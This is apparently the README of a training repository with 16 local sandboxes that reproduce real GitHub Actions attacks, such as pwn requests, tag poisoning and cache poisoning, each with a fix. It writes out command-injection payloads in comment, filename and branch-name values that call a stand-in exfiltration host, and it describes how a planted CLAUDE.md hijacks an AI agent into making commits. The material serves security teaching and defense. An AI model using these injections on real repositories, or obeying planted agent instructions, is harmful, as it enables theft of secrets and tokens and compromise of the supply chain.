Reproduction of real-world GitHub Actions attack vectors using act and Docker on a local machine.
This repository contains 16 sandboxes, each demonstrating a real attack used in the wild. Every sandbox has:
- A vulnerable version ❌ where the attack succeeds
- A fixed version ✅ where the hardened workflow blocks the attack
All attacks run entirely locally using act and Docker. No real secrets are used.
All attacks are based on documented real-world incidents:
| Incident | Period | Impact |
|---|---|---|
| hackerbot-claw campaign | Feb 21 - Mar 2, 2026 | 5/7 repos compromised |
| xygeni-action compromise | Mar 3, 2026 | 137+ repos affected |
| CVE-2025-30066 - tj-actions | Mar 14-15, 2025 | 23,000+ repos affected |
| GhostAction campaign | 2025 | 817 repos, 3,325 secrets stolen |
| Nx Supply Chain Attack | 2025 | NPM ecosystem compromised |
| Glassworm - Unicode injection | 2026 | Hidden payload bypasses code review |
| # | Sandbox | Attack Type | Real Target | Vulnerable Result | Fix Applied | Fixed Result |
|---|---|---|---|---|---|---|
| 1 | sandbox-1-pwn-request | Pwn Request + Go init() |
avelino/awesome-go | ❌ GITHUB_TOKEN exfiltrated | pull_request + contents: read |
✅ Blocked |
| 2 | sandbox-2-bash-injection | Direct Bash script injection | project-akri/akri | ❌ RCE confirmed | author_association check |
✅ Job skipped |
| 3 | sandbox-3-branch-injection | Branch name injection | microsoft/ai-discovery-agent | ❌ RCE via ${{ }} |
Store in env variable |
✅ Blocked |
| 4 | sandbox-4-filename-injection | Filename injection | DataDog/datadog-iac-scanner | ❌ RCE via filename | while IFS= read -r loop |
✅ Blocked |
| 5 | sandbox-5-prompt-injection | AI Prompt injection | ambient-code/platform | ❌ AI agent manipulated | pull_request + main branch only |
✅ Blocked |
| 6 | sandbox-6-pat-theft | PAT theft | aquasecurity/trivy | ❌ Full repo compromise | pull_request + no PAT exposure |
✅ Blocked |
| 7 | sandbox-7-base64-branch | Base64 branch injection | RustPython/RustPython | ❌ Partial execution | Store branch ref in env |
✅ Blocked |
| 8 | sandbox-8-tag-poisoning | Tag poisoning + C2 shell | xygeni/xygeni-action | ❌ 137+ repos compromised | Pin to commit SHA | ✅ Blocked |
| 9 | sandbox-9-tj-actions-memory-dump | Memory dump via compromised action | tj-actions/changed-files | ❌ Secrets leaked in public logs | SHA pin OR native git commands | ✅ Blocked |
| 10 | sandbox-10-ghostaction-workflow-injection | Malicious workflow injection | 817 repos | ❌ 3,325 secrets stolen | CODEOWNERS + branch protection | ✅ Blocked |
| 11 | sandbox-11-workflow-run-artifact-poisoning | workflow_run artifact poisoning | Google, Microsoft, AWS | ❌ RCE via privileged trigger | Verify workflow origin | ✅ Blocked |
| 12 | sandbox-12-cache-poisoning | Predictable cache key poisoning | Any project with static cache keys | ❌ RCE via poisoned cache | Unpredictable cache key (hashFiles) | ✅ Blocked |
| 13 | sandbox-13-npm-token-theft | NPM token theft → malicious publish | Nx Supply Chain Attack | ❌ NPM token stolen | NPM_TOKEN only on push to main | ✅ Blocked |
| 14 | sandbox-14-unicode-injection | Unicode invisible injection | Glassworm 2026 | ❌ Hidden payload bypasses review | Unicode scanner before execution | ✅ Blocked |
| 15 | sandbox-15-permission-misuse | Overprivileged job (write-all) | Any project with write-all | ❌ Full write access abused | Minimum permissions per job | ✅ Blocked |
| 16 | sandbox-16-oidc-token-abuse | OIDC token theft → cloud access | Any project using OIDC deploy | ❌ AWS access without static keys | id-token:write only on push to main | ✅ Blocked |
Attacker opens PR with malicious Go init()
↓
pull_request_target trigger fires (has secrets)
↓
go run executes init() automatically before main()
↓
❌ GITHUB_TOKEN exfiltrated
FIX: pull_request trigger + no fork checkout → ✅ Blocked
Attacker comments "/version" on PR (no author check)
↓
bash version.sh executes poisoned script
↓
❌ RCE confirmed
FIX: author_association == MEMBER/OWNER → ✅ Job skipped
Attacker posts: /format dev$(curl http://localhost:8888/exfil)
↓
echo "${{ github.event.comment.body }}" → bash evaluates $()
↓
❌ Command injection via comment body
FIX: store ${{ }} in env variable first → ✅ Blocked
Attacker creates: docs/$(wget http://localhost:8888/exfil).md
↓
for file in ${{ steps.get_files.outputs.files }} → bash evaluates $()
↓
❌ Command injection via filename
FIX: while IFS= read -r file → ✅ Blocked
Attacker replaces CLAUDE.md with malicious instructions
↓
pull_request_target loads attacker's CLAUDE.md
↓
❌ AI agent manipulated → unauthorized commits
FIX: pull_request + checkout main branch only → ✅ Blocked
Attacker opens PR with poisoned api-diff.sh
↓
pull_request_target fires (has PAT)
↓
❌ PAT stolen → full repo compromise
FIX: pull_request + no PAT exposure → ✅ Blocked
Attacker creates branch: main$(wget http://localhost:8888/exfil)
↓
git push origin HEAD:${{ github.event.pull_request.head.ref }}
↓
❌ Command injection via branch name
FIX: store branch ref in env variable → ✅ Blocked
Attacker moves v5 tag to backdoored commit
↓
137+ repos silently run C2 implant
↓
❌ Full remote code execution
FIX: pin to immutable commit SHA → ✅ Blocked
Attacker poisons tj-actions/changed-files@v45
↓
23,000+ repos run malicious payload
↓
❌ Secrets leaked in PUBLIC workflow logs
FIX A: pin to SHA / FIX B: native git commands → ✅ Blocked
Compromised maintainer pushes malicious.yml to main
↓
Disguised as "Scheduled Maintenance" - runs on every push
↓
❌ 3,325 secrets stolen across 817 repos
FIX: CODEOWNERS + branch protection → ✅ Blocked
Fork PR uploads malicious artifact
↓
workflow_run fires with main repo secrets
↓
Downloads + executes artifact without checking origin
↓
❌ RCE via privilege escalation between triggers
FIX: verify head_repository.full_name == github.repository → ✅ Blocked
Fork PR saves malicious cache with predictable key
↓
Main branch workflow restores poisoned cache
↓
❌ RCE via poisoned cache execution
FIX: hashFiles() makes key unpredictable → ✅ Blocked
Fork PR triggers workflow with NPM_TOKEN exposed
↓
Attacker steals token → publishes malicious package
↓
❌ Full npm supply chain compromise
FIX: NPM_TOKEN only on push to main → ✅ Blocked
Attacker submits PR with invisible Unicode in helper.py
↓
Reviewer sees clean code - approves PR
↓
CI/CD executes hidden payload silently
↓
❌ Secrets exfiltrated - bypasses code review
FIX: Unicode scanner before execution → ✅ Blocked
Job has write-all permissions
↓
Compromised action abuses all permissions simultaneously
↓
❌ Push malicious code + approve PRs + publish packages
FIX: contents: read + isolated privileged jobs → ✅ Blocked
pull_request trigger has id-token: write
↓
Fork PR requests OIDC token from GitHub
↓
Uses token: aws sts assume-role-with-web-identity
↓
❌ Full AWS access - no static keys needed
FIX: id-token:write only on push to main → ✅ Blocked
| # | Sandbox | Vulnerable Result | Fixed Result |
|---|---|---|---|
| 1 | Pwn Request | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 2 | Bash Injection | ❌ TOKEN EXFILTRATED | ✅ Job skipped |
| 3 | Branch Injection | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 4 | Filename Injection | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 5 | AI Prompt Injection | ❌ injection=success | ✅ Blocked |
| 6 | PAT Theft | ❌ PAT EXFILTRATED | ✅ Blocked |
| 7 | Base64 Branch | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 8 | Tag Poisoning + C2 | ❌ host+user+token | ✅ Blocked |
| 9 | tj-actions Memory Dump | ❌ Secrets in public logs | ✅ Blocked |
| 10 | GhostAction Injection | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 11 | workflow_run Artifact | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 12 | Cache Poisoning | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 13 | NPM Token Theft | ❌ NPM TOKEN EXFILTRATED | ✅ Blocked |
| 14 | Unicode Injection | ❌ TOKEN EXFILTRATED | ✅ Blocked |
| 15 | Permission Misuse | ❌ write-all abused | ✅ Blocked |
| 16 | OIDC Token Abuse | ❌ OIDC TOKEN EXFILTRATED | ✅ Blocked |
All 16 vulnerable versions confirmed working. All 16 fixed versions successfully block the attacks.
# 1. Docker Desktop
# https://www.docker.com/products/docker-desktop/
# 2. act - Local GitHub Actions runner
# https://github.com/nektos/act/releases/latest
# 3. Go (for sandbox 1 only)
# https://go.dev/dl/
# 4. Verify all installations
docker --version
act --version
go versionThis repository includes a Nix flake that provides a fully reproducible development environment with all required tools pre-installed and version-pinned:
# Enter the reproducible environment
nix develop
# All tools available automatically:
# act, Docker, Python 3, Go, Git# 1. Clone the repository
git clone https://github.com/ramibahloul2003/github-actions-sandboxes.git
cd github-actions-sandboxes
# 2. Create .secrets file with your GitHub token
echo "GITHUB_TOKEN=your_github_token" > .secrets
# 3. Start local exfiltration server - Terminal 2
python exfil_server.py
# 4. Enter Nix environment - Terminal 1
nix develop
# 5. Run any sandbox
# See each sandbox README.md for specific commands| # | Vulnerability | Fix |
|---|---|---|
| 1 | pull_request_target + fork checkout |
Use pull_request trigger |
| 2 | No author_association check |
Verify MEMBER/OWNER only |
| 3 | ${{ }} directly in shell echo |
Store in env variable first |
| 4 | ${{ }} directly in for loop |
Use while IFS= read -r |
| 5 | AI agent loads fork CLAUDE.md |
Use pull_request trigger |
| 6 | PAT exposed in pull_request_target |
Use pull_request trigger |
| 7 | ${{ }} directly in git push |
Store branch ref in env variable |
| 8 | Mutable action tag @v5 |
Pin to immutable commit SHA |
| 9 | Mutable action tag + memory dump | SHA pin OR native git commands |
| 10 | No CODEOWNERS on .github/workflows/ |
CODEOWNERS + branch protection |
| 11 | workflow_run executes artifact blindly |
Verify head_repository origin |
| 12 | Predictable cache key | Use hashFiles() for unpredictable key |
| 13 | NPM_TOKEN exposed on pull_request |
Only expose on push to main |
| 14 | No Unicode scanning before execution | Scan for invisible Unicode codepoints |
| 15 | write-all permissions |
Minimum permissions + isolated jobs |
| 16 | id-token: write on pull_request |
Only grant on push to main |
github-actions-sandboxes/
├── README.md ← This file
├── .secrets ← Never committed (.gitignore)
├── .gitignore
├── exfil_server.py ← Local exfiltration server
├── flake.nix ← Nix development environment
├── flake.lock ← Locked Nix dependencies
│
├── events/ ← Simulated GitHub event files
│ ├── event.json ← Sandbox 1
│ ├── event_issue_comment.json ← Sandbox 2
│ ├── event_branch_injection.json ← Sandbox 3
│ ├── event_filename_injection.json ← Sandbox 4
│ ├── event_prompt_injection.json ← Sandbox 5
│ ├── event_pat_theft.json ← Sandbox 6
│ ├── event_base64_branch.json ← Sandbox 7 vulnerable
│ ├── event_base64_branch_fixed.json ← Sandbox 7 fixed
│ ├── event_tag_poisoning.json ← Sandbox 8
│ ├── event_tj_actions.json ← Sandbox 9
│ ├── event_ghostaction.json ← Sandbox 10
│ ├── event_workflow_run.json ← Sandbox 11
│ ├── event_cache_poisoning.json ← Sandbox 12
│ ├── event_npm_token.json ← Sandbox 13
│ ├── event_unicode_injection.json ← Sandbox 14
│ ├── event_permission_misuse.json ← Sandbox 15
│ └── event_oidc_abuse.json ← Sandbox 16
│
├── scripts/ ← Setup and utility scripts
│ ├── create_sandbox4.py → create_sandbox16.py
│ └── exfil_server.py (at root)
│
├── sandbox-1-pwn-request/
├── sandbox-2-bash-injection/
├── sandbox-3-branch-injection/
├── sandbox-4-filename-injection/
├── sandbox-5-prompt-injection/
├── sandbox-6-pat-theft/
├── sandbox-7-base64-branch/
├── sandbox-8-tag-poisoning/
├── sandbox-9-tj-actions-memory-dump/
├── sandbox-10-ghostaction-workflow-injection/
├── sandbox-11-workflow-run-artifact-poisoning/
├── sandbox-12-cache-poisoning/
├── sandbox-13-npm-token-theft/
├── sandbox-14-unicode-injection/
├── sandbox-15-permission-misuse/
└── sandbox-16-oidc-token-abuse/
├── README.md
├── vulnerable/
├── fixed/
└── attacker/
All attacks are simulated locally. Real attacker domains are replaced with 'localhost:8888'. These sandboxes are for "educational purposes only". Never run these attacks against real repositories without explicit authorization.